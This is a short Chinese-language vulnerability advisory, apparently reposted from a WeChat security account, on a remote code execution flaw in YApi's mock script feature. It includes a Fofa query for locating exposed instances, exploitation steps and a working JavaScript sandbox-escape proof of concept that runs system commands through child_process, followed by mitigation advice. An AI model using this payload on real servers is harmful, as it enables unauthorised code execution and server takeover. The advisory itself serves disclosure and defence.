Yapi Mock 远程代码执行漏洞
2021-07-09 10:41:59 Author: mp.weixin.qq.com(查看原文) 阅读量:59 收藏


文章来源： 安全鸭

漏洞描述

YApi接口管理平台远程代码执行0day漏洞，攻击者可通过平台注册用户添加接口，设置mock脚本从而执行任意代码。鉴于该漏洞目前处于0day漏洞利用状态，强烈建议客户尽快采取缓解措施以避免受此漏洞影响

Fofa:app="YApi"

默认开启注册功能

注册后新建项目

添加接口

高级Mock>脚本>开启,写入POC并保存：

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()

保存后预览：

Yapi作者已经停止更新。临时修复建议禁止用户注册，具体配置参考原文链接：

https://github.com/YMFE/yapi/issues/2099

如侵权请私聊公众号删文


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650516986&idx=2&sn=961904e63841f797b3bb44109fd57d29&chksm=83bac81eb4cd4108e941702a85cc83f884e8e922e2ecafdea164eb5a65ccae1f3e3cfe38e64e#rd
如有侵权请联系:admin#unsafe.sh